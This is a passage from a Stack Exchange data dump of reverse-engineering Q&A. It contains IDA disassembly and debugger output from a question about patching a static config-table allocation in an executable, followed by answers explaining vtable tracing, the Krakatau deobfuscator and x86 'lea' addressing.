sub_D386E0&#xA;.text:008F299B                 add     esp, 4&#xA;.text:008F299E                 mov     ecx, edi&#xA;.text:008F29A0                 mov     esi, eax&#xA;.text:008F29A2                 call    sub_D4D270&#xA;.text:008F29A7                 push    eax&#xA;.text:008F29A8                 push    ebp             ; ArgList&#xA;.text:008F29A9                 push    offset aErrMsg_2 ; Error Message&#xA;.text:008F29AE                 call    sub_D386E0&#xA;.text:008F29B3                 add     esp, 0Ch&#xA;.text:008F29B6                 call    sub_D388C0&#xA;.text:008F29BB                 mov     [esp+30h+var_20], eax&#xA;.text:008F29BF                 lea     eax, [esp+30h+var_20]&#xA;.text:008F29C3                 push    eax&#xA;.text:008F29C4                 lea     ecx, [esp+34h+var_18]&#xA;.text:008F29C8                 mov     [esp+34h+var_1C], 640h&#xA;.text:008F29D0                 call    sub_403D60&#xA;.text:008F29D5                 mov     [esp+30h+var_4], 1&#xA;.text:008F29DD                 jmp     short loc_8F2A27&#xA;.text:008F29DF&#xA;.text:008F29DF loc_8F29DF:&#xA;.text:008F29DF                 push    0&#xA;.text:008F29E1                 call    sub_D386E0&#xA;.text:008F29E6                 add     esp, 4&#xA;.text:008F29E9                 mov     ecx, edi&#xA;.text:008F29EB                 mov     esi, eax&#xA;.text:008F29ED                 call    sub_D4D270&#xA;.text:008F29F2                 push    eax             ; ArgList&#xA;.text:008F29F3                 push    offset aErrMsg_0 ; Error Message&#xA;.text:008F29F8                 call    sub_D386E0&#xA;.text:008F29FD                 add     esp, 8&#xA;.text:008F2A00                 call    sub_D388C0&#xA;.text:008F2A05                 lea     ecx, [esp+30h+var_20]&#xA;.text:008F2A09                 push    ecx&#xA;.text:008F2A0A                 lea     ecx, [esp+34h+var_18]&#xA;.text:008F2A0E                 mov     [esp+34h+var_20], eax&#xA;.text:008F2A12                 mov     [esp+34h+var_1C], 640h&#xA;.text:008F2A1A                 call    sub_403D60&#xA;.text:008F2A1F                 mov     [esp+30h+var_4], 2&#xA;.text:008F2A27&#xA;.text:008F2A27 loc_8F2A27:&#xA;.text:008F2A27                 mov     eax, [esp+30h+var_18]&#xA;.text:008F2A2B                 test    eax, eax&#xA;.text:008F2A2D                 jz      short loc_8F2A3A&#xA;.text:008F2A2F                 push    esi&#xA;.text:008F2A30                 push    eax&#xA;.text:008F2A31                 call    ds:??$?6U?$char_traits@D@std@@@std@@YAAAV?$basic_ostream@DU?$char_traits@D@std@@@0@AAV10@PBD@Z ; std::operator&amp;lt;&amp;lt;&amp;lt;std::char_traits&amp;lt;char&amp;gt;&amp;gt;(std::basic_ostream&amp;lt;char,std::char_traits&amp;lt;char&amp;gt;&amp;gt; &amp;amp;,char const *)&#xA;.text:008F2A37                 add     esp, 8&#xA;.text:008F2A3A&#xA;.text:008F2A3A loc_8F2A3A:&#xA;.text:008F2A3A                 lea     ecx, [esp+30h+var_18]&#xA;.text:008F2A3E                 mov     [esp+30h+var_4], 0FFFFFFFFh&#xA;.text:008F2A46                 call    sub_403DF0&#xA;.text:008F2A4B                 mov     ecx, [esp+30h+var_C]&#xA;.text:008F2A4F                 pop     edi&#xA;.text:008F2A50                 pop     esi&#xA;.text:008F2A51                 pop     ebp&#xA;.text:008F2A52                 xor     al, al&#xA;.text:008F2A54                 pop     ebx&#xA;.text:008F2A55                 mov     large fs:0, ecx&#xA;.text:008F2A5C                 add     esp, 20h&#xA;.text:008F2A5F                 retn    8&#xA;.text:008F2A5F ReadCfgFile     endp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;[EDIT 1 - All what I should have known since the beginning!]&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After following the suggestions of the answer of @sealed..., I used a class inspector to detect the Virtual Function Table and I found the full class descriptor. Well... in fact there are two classes referring to my target method &lt;code&gt;ReadCfgFile&lt;/code&gt; and no direct calls to it in the whole executable:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.rdata:0137A1D4 ; class DATABASE_TABLE&amp;lt;CFG_ENTRY,500,unsigned int&amp;gt; [SI] O: 0, A: 0&#xA;.rdata:0137A1D4 dd offset ??_R4?$DATABASE_TABLE@UCFG_ENTRY@@$0BPE@I@@6B@ ; RTTI Complete Object Locator&#xA;.rdata:0137A1D8 ; const DATABASE_TABLE&amp;lt;struct CFG_ENTRY,500,unsigned int&amp;gt; VF Table&#xA;.rdata:0137A1D8 ??_7?$DATABASE_TABLE@UCFG_ENTRY@@$0BPE@I@@6B@ dd offset sub_8EF0F0 ; DATA XREF: sub_8EEFC0+1Do&#xA;.rdata:0137A1DC dd offset nullsub_648&#xA;.rdata:0137A1E0 dd offset sub_8EAB30&#xA;.rdata:0137A1E4 dd offset sub_8EF060&#xA;.rdata:0137A1E8 dd offset sub_8EE500&#xA;.rdata:0137A1EC dd offset ReadCfgFile&#xA;&#xA;.rdata:0137A1F0 ; class CFG_DB: DATABASE_TABLE&amp;lt;CFG_ENTRY,500,unsigned int&amp;gt; [SI] O: 0, A: 0&#xA;.rdata:0137A1F0 dd offset ??_R4CFG_DB@@6B@ ; RTTI Complete Object Locator&#xA;.rdata:0137A1F4 ; const CFG_DB VFTable&#xA;.rdata:0137A1F4 ??_7UNIT_DB@@6B@ dd offset sub_8EF2B0 ; DATA XREF: sub_8EF290+8o&#xA;.rdata:0137A1F8 dd offset nullsub_648&#xA;.rdata:0137A1FC dd offset sub_8EAB30&#xA;.rdata:0137A200 dd offset sub_8EF060&#xA;.rdata:0137A204 dd offset sub_8EE8B0&#xA;.rdata:0137A208 dd offset ReadCfgFile&#xA;.rdata:0137A20C dd offset sub_8EE5D0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;[EDIT 2 - The adventure continues! Yay!]&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After reading the answer of @Guntram Blohm, I investigated some more in order to collect and analyze the data he suggested. The first thing I did is to analyze the executable with PEiD and here is the information I got from it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Compiler: Microsoft Visual C++ 7.0 Method2 [Debug]&#xA;Entropy: 6.24 (Not Packed)&#xA;Linker Info: 7.10&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I set a breakpoint on my &lt;code&gt;ReadCfgFile&lt;/code&gt; method, here is what I get from OllyDBG stack:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CPU Stack&#xA;Address   Value      ASCII Comments&#xA;0018B2C0  [008EE644  D�.  ; RETURN to myapp.008EE644&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And &lt;code&gt;008EE644&lt;/code&gt; is a small part of the following method that, for what I can understand, looks for the configuration file and starts the routine for reading it, but without an explicit call to &lt;code&gt;ReadCfgFile&lt;/code&gt; (offset highlighted):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:008EE5D0 sub_8EE5D0      proc near ; CODE XREF: sub_411B20+2CBp&#xA;.text:008EE5D0 var_41          = byte ptr -41h&#xA;.text:008EE5D0 var_40          = dword ptr -40h&#xA;.text:008EE5D0 var_3C          = dword ptr -3Ch&#xA;.text:008EE5D0 var_38          = byte ptr -38h&#xA;.text:008EE5D0 var_34          = dword ptr -34h&#xA;.text:008EE5D0 var_30          = dword ptr -30h&#xA;.text:008EE5D0 var_2C          = byte ptr -2Ch&#xA;.text:008EE5D0 var_C           = dword ptr -0Ch&#xA;.text:008EE5D0 var_4           = dword ptr -4&#xA;.text:008EE5D0&#xA;.text:008EE5D0                 push    0FFFFFFFFh&#xA;.text:008EE5D2                 push    offset SEH_8EE5D0&#xA;.text:008EE5D7                 mov     eax, large fs:0&#xA;.text:008EE5DD                 push    eax&#xA;.text:008EE5DE                 mov     large fs:0, esp&#xA;.text:008EE5E5                 sub     esp, 38h&#xA;.text:008EE5E8                 push    ebx&#xA;.text:008EE5E9                 push    ebp&#xA;.text:008EE5EA                 mov     ebx, ecx&#xA;.text:008EE5EC                 push    offset aCfgFile ; &quot;application.cfg&quot;&#xA;.text:008EE5F1                 mov     [esp+50h+var_30], ebx&#xA;.text:008EE5F5                 call    sub_41BD00&#xA;.text:008EE5FA                 add     esp, 4&#xA;.text:008EE5FD                 push    eax&#xA;.text:008EE5FE                 lea     ecx, [esp+50h+var_38]&#xA;.text:008EE602                 call    sub_F018E0&#xA;.text:008EE607                 xor     ebp, ebp&#xA;.text:008EE609                 push    ebp&#xA;.text:008EE60A                 lea     eax, [esp+50h+var_38]&#xA;.text:008EE60E                 push    eax&#xA;.text:008EE60F                 lea     ecx, [esp+54h+var_2C]&#xA;.text:008EE613                 mov     [esp+54h+var_4], ebp&#xA;.text:008EE617                 call    sub_D50170&#xA;.text:008EE61C                 lea     ecx, [esp+4Ch+var_38] ; void *&#xA;.text:008EE620                 mov     byte ptr [esp+4Ch+var_4], 2&#xA;.text:008EE625                 call    sub_EFFE30&#xA;.text:008EE62A                 mov     edx, [ebx]&#xA;.text:008EE62C                 mov     ecx, ebx&#xA;.text:008EE62E                 mov     [ebx+7A938h], ebp&#xA;.text:008EE634                 call    dword ptr [edx+4]&#xA;.text:008EE637                 mov     eax, [ebx]&#xA;.text:008EE639                 push    ebp&#xA;.text:008EE63A                 lea     ecx, [esp+50h+var_2C]&#xA;.text:008EE63E                 push    ecx&#xA;.text:008EE63F                 mov     ecx, ebx&#xA;.text:008EE641                 call    dword ptr [eax+14h]&#xA;.text:008EE644 ; ---------------------------------------------------------------------------         &#xA;.text:008EE644                 test    al, al ; HERE IS THE STACK REFERENCE&#xA;.text:008EE644 ; ---------------------------------------------------------------------------   &#xA;.text:008EE646                 jnz     short loc_8EE66C&#xA;.text:008EE648                 lea     ecx, [esp+4Ch+var_2C]&#xA;.text:008EE64C                 mov     [esp+4Ch+var_4], 0FFFFFFFFh&#xA;.text:008EE654                 call    sub_D4BB30&#xA;.text:008EE659                 pop     ebp&#xA;.text:008EE65A                 xor     al, al&#xA;.text:008EE65C                 pop     ebx&#xA;.text:008EE65D                 mov     ecx, [esp+44h+var_C]&#xA;.text:008EE661                 mov     large fs:0, ecx&#xA;.text:008EE668                 add     esp, 44h&#xA;.text:008EE66B                 retn&#xA;.text:008EE66C&#xA;.text:008EE66C loc_8EE66C:&#xA;.text:008EE66C                 xor     edx, edx&#xA;.text:008EE66E                 or      eax, 0FFFFFFFFh&#xA;.text:008EE671                 mov     dword_1986644, edx&#xA;.text:008EE677                 mov     dword_1986650, eax&#xA;.text:008EE67C                 push    esi&#xA;.text:008EE67D                 mov     dword_1986648, edx&#xA;.text:008EE683                 mov     dword_1986654, eax&#xA;.text:008EE688                 push    edi&#xA;.text:008EE689                 mov     dword_198664C, edx&#xA;.text:008EE68F                 mov     dword_1986658, eax&#xA;.text:008EE694                 xor     edi, edi&#xA;.text:008EE696                 cmp     [ebx+79954h], ebp&#xA;.text:008EE69C                 jle     loc_8EE727&#xA;.text:008EE6A2                 lea     esi, [ebx+40h]&#xA;.text:008EE6A5                 jmp     short loc_8EE6B0&#xA;.text:008EE6A7                 align 10h&#xA;.text:008EE6B0&#xA;.text:008EE6B0 loc_8EE6B0:&#xA;.text:008EE6B0                 mov     eax, [esi]&#xA;.text:008EE6B2                 mov     cx, [esi+92h]&#xA;.text:008EE6B9                 lea     eax, ds:1986644h[eax*2]&#xA;.text:008EE6C0                 mov     ax, [eax]&#xA;.text:008EE6C3                 cmp     ax, cx&#xA;.text:008EE6C6                 jnb     short loc_8EE6CA&#xA;.text:008EE6C8                 mov     eax, ecx&#xA;.text:008EE6CA&#xA;.text:008EE6CA loc_8EE6CA:&#xA;.text:008EE6CA                 mov     ecx, [esi]&#xA;.text:008EE6CC                 mov     word ptr dword_1986644[ecx*2], ax&#xA;.text:008EE6D4                 mov     eax, [esi]&#xA;.text:008EE6D6                 mov     cx, [esi+92h]&#xA;.text:008EE6DD                 lea     eax, ds:1986650h[eax*2]&#xA;.text:008EE6E4                 mov     ax, [eax]&#xA;.text:008EE6E7                 cmp     ax, cx&#xA;.text:008EE6EA                 jb      short loc_8EE6EE&#xA;.text:008EE6EC                 mov     eax, ecx&#xA;.text:008EE6EE&#xA;.text:008EE6EE loc_8EE6EE:&#xA;.text:008EE6EE                 mov     edx, [esi]&#xA;.text:008EE6F0                 lea     ecx, [esi-3Ch]&#xA;.text:008EE6F3                 mov     word ptr dword_1986650[edx*2], ax&#xA;.text:008EE6FB                 call    sub_8ED600&#xA;.text:008EE700                 push    eax&#xA;.text:008EE701                 mov     eax, [ebx+7A938h]&#xA;.text:008EE707                 push    eax&#xA;.text:008EE708                 call    sub_F1E550&#xA;.text:008EE70D                 add     edi, 1&#xA;.text:008EE710                 add     esp, 8&#xA;.text:008EE713                 mov     [ebx+7A938h], eax&#xA;.text:008EE719                 add     esi, 3E4h&#xA;.text:008EE71F                 cmp     edi, [ebx+79954h]&#xA;.text:008EE725                 jl      short loc_8EE6B0&#xA;.text:008EE727&#xA;.text:008EE727 loc_8EE727:&#xA;.text:008EE727                 xor     esi, esi&#xA;.text:008EE729                 cmp     dword_1667290, ebp&#xA;.text:008EE72F                 mov     [esp+54h+var_3C], esi&#xA;.text:008EE733                 jbe     loc_8EE840&#xA;.text:008EE739                 lea     esp, [esp+0]&#xA;.text:008EE740&#xA;.text:008EE740 loc_8EE740:&#xA;.text:008EE740                 cmp     [ebx+79954h], ebp&#xA;.text:008EE746                 mov     [esp+54h+var_41], 0&#xA;.text:008EE74B                 mov     [esp+54h+var_40], ebp&#xA;.text:008EE74F                 mov     [esp+54h+var_34], ebp&#xA;.text:008EE753                 jle     loc_8EE7D9&#xA;.text:008EE759                 mov     ebp, 1&#xA;.text:008EE75E                 mov     ecx, esi&#xA;.text:008EE760                 shl     ebp, cl&#xA;.text:008EE762                 lea     edi, [ebx+3B0h]&#xA;.text:008EE768&#xA;.text:008EE768 loc_8EE768:&#xA;.text:008EE768                 cmp     [esp+54h+var_41], 0&#xA;.text:008EE76D                 jnz     short loc_8EE77F&#xA;.text:008EE76F                 test    [edi-2Ch], ebp&#xA;.text:008EE772                 jz      short loc_8EE77F&#xA;.text:008EE774                 test    byte ptr [edi+3], 20h&#xA;.text:008EE778                 jz      short loc_8EE77F&#xA;.text:008EE77A                 mov     [esp+54h+var_41], 1&#xA;.text:008EE77F&#xA;.text:008EE77F loc_8EE77F: &#xA;.text:008EE77F                 xor     esi, esi&#xA;.text:008EE781                 xor     eax, eax&#xA;.text:008EE783&#xA;.text:008EE783 loc_8EE783:&#xA;.text:008EE783                 mov     ecx, [edi-24h]&#xA;.text:008EE786                 test    [eax+ecx], ebp&#xA;.text:008EE789                 jz      short loc_8EE7AF&#xA;.text:008EE78B                 cmp     eax, 10h&#xA;.text:008EE78E                 jnb     loc_8EE89B&#xA;.text:008EE794                 mov     ecx, esi&#xA;.text:008EE796                 shr     ecx, 5&#xA;.text:008EE799                 lea     edx, [esp+ecx*4+54h+var_40]&#xA;.text:008EE79D                 mov     ecx, esi&#xA;.text:008EE79F                 and     ecx, 1Fh&#xA;.text:008EE7A2                 mov     ebx, 1&#xA;.text:008EE7A7                 shl     ebx, cl&#xA;.text:008EE7A9                 or      [edx], ebx&#xA;.text:008EE7AB                 mov     ebx, [esp+54h+var_30]&#xA;.text:008EE7AF&#xA;.text:008EE7AF loc_8EE7AF:&#xA;.text:008EE7AF                 add     eax, 4&#xA;.text:008EE7B2                 add     esi, 1&#xA;.text:008EE7B5                 cmp     eax, 10h&#xA;.text:008EE7B8                 jb      short loc_8EE783&#xA;.text:008EE7BA                 mov     eax, [esp+54h+var_34]&#xA;.text:008EE7BE                 add     eax, 1&#xA;.text:008EE7C1                 add     edi, 3E4h&#xA;.text:008EE7C7                 cmp     eax, [ebx+79954h]&#xA;.text:008EE7CD                 mov     [esp+54h+var_34], eax&#xA;.text:008EE7D1                 jl      short loc_8EE768&#xA;.text:008EE7D3                 mov     esi, [esp+54h+var_3C]&#xA;.text:008EE7D7                 xor     ebp, ebp&#xA;.text:008EE7D9&#xA;.text:008EE7D9 loc_8EE7D9:&#xA;.text:008EE7D9                 push    esi&#xA;.text:008EE7DA                 call    sub_8D1490&#xA;.text:008EE7DF                 mov     edi, eax&#xA;.text:008EE7E1                 add     esp, 4&#xA;.text:008EE7E4                 cmp     byte ptr [edi+0BCh], 0&#xA;.text:008EE7EB                 jz      short loc_8EE82D&#xA;.text:008EE7ED                 xor     esi, esi&#xA;.text:008EE7EF                 cmp     esi, 4&#xA;.text:008EE7F2                 jnb     loc_8EE8A4&#xA;.text:008EE7F8&#xA;.text:008EE7F8 loc_8EE7F8:&#xA;.text:008EE7F8                 mov     ecx, esi&#xA;.text:008EE7FA                 and     ecx, 1Fh&#xA;.text:008EE7FD                 mov     edx, 1&#xA;.text:008EE802                 shl     edx, cl&#xA;.text:008EE804                 mov     ecx, esi&#xA;.text:008EE806                 shr     ecx, 5&#xA;.text:008EE809                 add     ecx, ecx&#xA;.text:008EE80B                 add     ecx, ecx&#xA;.text:008EE80D                 test    [esp+ecx+54h+var_40], edx&#xA;.text:008EE811                 setnz   al&#xA;.text:008EE814                 test    al, al&#xA;.text:008EE816                 jnz     short loc_8EE821&#xA;.text:008EE818                 not     edx&#xA;.text:008EE81A                 and     [ecx+edi+0C0h], edx&#xA;.text:008EE821&#xA;.text:008EE821 loc_8EE821:&#xA;.text:008EE821                 add     esi, 1&#xA;.text:008EE824                 cmp     esi, 4&#xA;.text:008EE827                 jb      short loc_8EE7F8&#xA;.text:008EE829                 mov     esi, [esp+54h+var_3C]&#xA;.text:008EE82D&#xA;.text:008EE82D loc_8EE82D:&#xA;.text:008EE82D                 add     esi, 1&#xA;.text:008EE830                 cmp     esi, dword_1667290&#xA;.text:008EE836                 mov     [esp+54h+var_3C], esi&#xA;.text:008EE83A                 jb      loc_8EE740&#xA;.text:008EE840&#xA;.text:008EE840 loc_8EE840:&#xA;.text:008EE840                 xor     esi, esi&#xA;.text:008EE842                 cmp     [ebx+79954h], ebp&#xA;.text:008EE848                 jle     short loc_8EE875&#xA;.text:008EE84A                 lea     edi, [ebx+108h]&#xA;.text:008EE850&#xA;.text:008EE850 loc_8EE850:&#xA;.text:008EE850                 mov     eax, [edi]&#xA;.text:008EE852                 mov     ecx, dword_16E9DC8&#xA;.text:008EE858                 push    eax ; Str2&#xA;.text:008EE859                 add     ecx, 84h&#xA;.text:008EE85F                 call    sub_10E86C0&#xA;.text:008EE864                 add     esi, 1&#xA;.text:008EE867                 add     edi, 3E4h&#xA;.text:008EE86D                 cmp     esi, [ebx+79954h]&#xA;.text:008EE873                 jl      short loc_8EE850&#xA;.text:008EE875&#xA;.text:008EE875 loc_8EE875:&#xA;.text:008EE875                 lea     ecx, [esp+54h+var_2C]&#xA;.text:008EE879                 mov     [esp+54h+var_4], 0FFFFFFFFh&#xA;.text:008EE881                 call    sub_D4BB30&#xA;.text:008EE886                 mov     ecx, [esp+54h+var_C]&#xA;.text:008EE88A                 pop     edi&#xA;.text:008EE88B                 pop     esi&#xA;.text:008EE88C                 pop     ebp&#xA;.text:008EE88D                 mov     al, 1&#xA;.text:008EE88F                 pop     ebx&#xA;.text:008EE890                 mov     large fs:0, ecx&#xA;.text:008EE897                 add     esp, 44h&#xA;.text:008EE89A                 retn&#xA;.text:008EE89B&#xA;.text:008EE89B loc_8EE89B:&#xA;.text:008EE89B                 lea     ecx, [esp+54h+var_40]&#xA;.text:008EE89F                 jmp     sub_8D0FE0&#xA;.text:008EE8A4&#xA;.text:008EE8A4 loc_8EE8A4:&#xA;.text:008EE8A4                 lea     ecx, [esp+54h+var_40]&#xA;.text:008EE8A8                 jmp     sub_8D0FE0&#xA;.text:008EE8A8 sub_8EE5D0      endp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The, I digged a little bit more finding out the &lt;code&gt;CFG_DB&lt;/code&gt; contructor, which looks like this (pseudo-code from IDA Pro):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void __thiscall sub_8EEFC0(void *this)&#xA;{&#xA;  void *v1 = this; // esi@1&#xA;&#xA;  *(_DWORD *)this = &amp;amp;DATABASE_TABLE&amp;lt;CFG_ENTRY_500_unsigned_int&amp;gt;::_vftable_;&#xA;&#xA;  sub_8EE500((int)this);&#xA;  sub_8EC030((char *)v1 + 502036);&#xA;&#xA;  if ( *((_DWORD *)v1 + 124503) )&#xA;    operator delete__(*((void **)v1 + 124503));&#xA;&#xA;  *((_DWORD *)v1 + 124503) = 0;&#xA;&#xA;  unknown_libname_2673((char *)v1 + 4, 0x3E4u, 500, sub_8EEA00);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So it looks like the &quot;array&quot; of &lt;code&gt;CFG_ENTRY&lt;/code&gt; is being instantiated calling a method belonging to another library linked to the executable.&#xA;Finally, I put a breakpoint at the beginning of my &lt;code&gt;ReadCfgFile&lt;/code&gt; method in order to see if pointers passed to it can be of any help:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:008F287A                 push esi ==&amp;gt; esi = 00400000&#xA;[...]                          [...]&#xA;.text:008F2886                 mov esi, ecx ==&amp;gt; ecx = myapp.0190BD08&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And following the address &lt;code&gt;0190BD08&lt;/code&gt; I just stumbled upon this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.data:0190BD08 unk_190BD08     db    ? ; ; DATA XREF: sub_40FFF0:loc_410049o&#xA;.data:0190BD08                           ; sub_40FFF0:loc_410053o ...&#xA;&#xA;.text:00410049 loc_410049: ; DATA XREF: .rdata:01484034o&#xA;.text:00410049 ; .rdata:0148489Co ...&#xA;.text:00410049                 mov     ecx, offset unk_190BD08&#xA;&#xA;.text:00410053&#xA;.text:00410053 loc_410053: ; DATA XREF: .rdata:01484078o&#xA;.text:00410053 ; .rdata:01484C3Co ...&#xA;.text:00410053                 mov     ecx, offset unk_190BD08&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It looks like a dead end to me...&lt;/p&gt;&#xA;" OwnerUserId="4469" LastEditorUserId="4469" LastEditDate="2014-05-08T16:37:34.470" LastActivityDate="2014-05-09T09:41:31.310" Title="How to deal with Static Memory Allocation while modifying an executable?" Tags="|assembly|decompilation|debugging|memory|struct|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4288" PostTypeId="1" AcceptedAnswerId="4291" CreationDate="2014-05-08T02:40:49.520" Score="3" ViewCount="1752" Body="&lt;p&gt;So basically I am using &lt;code&gt;objdump&lt;/code&gt; to disassemble a binary from `GNU Coreutils&quot;, on 32 bit Linux x86.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the disassembled code, I found one &quot;broken&quot; instruction like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; 804bb49:   8d 04 ed 00 00 00 00    lea    0x0(,%ebp,8),%eax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I asked a related question about a very similar instruction &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/4285/how-to-deal-with-this-error-instructions-generated-by-objdump&quot;&gt;here&lt;/a&gt;, in that question, I think it should be a jump table related instruction, but how about this one ? I am quite confused..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could anyone give me some help?&lt;/p&gt;&#xA;" OwnerUserId="3215" LastEditorUserId="53" LastEditDate="2017-04-28T12:54:52.520" LastActivityDate="2017-04-28T12:54:52.520" Title="How to deal with this “lea” instructions generated by objdump?" Tags="|disassembly|assembly|objdump|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4289" PostTypeId="2" ParentId="4038" CreationDate="2014-05-08T03:34:51.443" Score="2" Body="&lt;p&gt;You can use &lt;a href=&quot;https://github.com/Storyyeller/Krakatau&quot; rel=&quot;nofollow&quot;&gt;Krakatau&lt;/a&gt; to deobfuscate most jar's.  It's not perfect but it gets you pretty close.  It works a little different than other deobfuscators from what I understand.  It reads the bytecode and simply produces the java necessary to run it.  To get it to run I had to use it in linux, and it does require that python is installed.  Although I think the bug making it only work in linux is now fixed.&lt;/p&gt;&#xA;" OwnerUserId="4581" LastActivityDate="2014-05-08T03:34:51.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4290" PostTypeId="2" ParentId="4287" CreationDate="2014-05-08T04:39:24.530" Score="3" Body="&lt;p&gt;As I Don't know the prototype of &lt;em&gt;ReadCfgEntry&lt;/em&gt; and structure of the code my answer is not exact.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;First: If the buffer is dynamically allocated&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As your function use ECX as initialized register:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:008F2886                 mov     esi, ecx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It is a class function so the owner class has a constructor that initiated the target buffer. you must trace the buffer and increase the allocation size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is not an exact way to find constructor; but one of the efficient way is to find &lt;em&gt;Virtual Function Table&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;by trace ECX at function start. most of times the destination buffer contains a &lt;em&gt;VFTable&lt;/em&gt; in first element.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;by XRef it in IDA (as you did)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;ReadCfgFile is being called only here: &quot;.rdata:0137A1EC dd offset&#xA;  ReadCfgFile&quot;...&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;After finding &lt;em&gt;VFTable&lt;/em&gt;, most of time the constructor is topmost member.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Second: If the buffer is statically allocated&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I mentioned before the function is a member of class so if you change the pointer of interest; it would do the work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;if (!ReadCfgEntry((void*)(pointer + (996 * entriesCount) + 4), v5))&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you should insert a stub to allocate proper memory and assign it to class.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FINALLY: If a program is closed source it means the developer doesn't like others to modify it for personal use... be sure the license is not violated!&lt;/p&gt;&#xA;" OwnerUserId="4575" LastEditorUserId="4575" LastEditDate="2014-05-08T04:53:05.173" LastActivityDate="2014-05-08T04:53:05.173" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4291" PostTypeId="2" ParentId="4288" CreationDate="2014-05-08T08:38:35.117" Score="5" Body="&lt;p&gt;I don't know what makes you think this instruction is &quot;broken&quot; - the fact that there is a comma right after a bracket, without a parameter in between? In this case, the disassembler just doesn't show the parameter because it's &quot;zero&quot; (more precisely, it specifies &quot;no register&quot; where &quot;any processor register&quot; would be allowed).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What happens here is: when addressing memory locations, the processor has a mode where it adresses &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;a base offset&lt;/li&gt;&#xA;&lt;li&gt;plus the content of one processor register&lt;/li&gt;&#xA;&lt;li&gt;plus the content of another processor register, multiplied by an integer that can be 1,2,4 or 8&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This calculation is quite fast, as it's done in special hardware in the address bus subsystem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;lea&lt;/code&gt; (load effective address) instruction is a special kind of RAM access -- it calculates the address of the operand, but then, it moves the &lt;em&gt;address&lt;/em&gt;, not the data at that address, into the destination register.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So your 'broken' instruction moves a base offset of 0, plus &quot;no&quot; first register, plus 8 times the content of ebp, into eax. The same could have been done by moving ebp to eax and multiplying by 8, or moving and shifting left by 3 bits, but the &lt;code&gt;lea&lt;/code&gt; instruction is probably a bit faster (because, as i said, it's done in specialized address bus hardware), so the compiler used that one to save a few cycles. Nothing is broken here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might want to take a look at a i386 assembler reference when disassembling, the indirect adressing is quite well explained in the &lt;a href=&quot;https://developer.apple.com/library/mac/documentation/DeveloperTools/Reference/Assembler/060-i386_Addressing_Modes_and_Assembler_Instructions/i386_intructions.html&quot; rel=&quot;noreferrer&quot;&gt;OS X Assembler reference&lt;/a&gt;, scroll down to &quot;Indirect Memory Operands&quot;.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2014-05-08T08:38:35.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
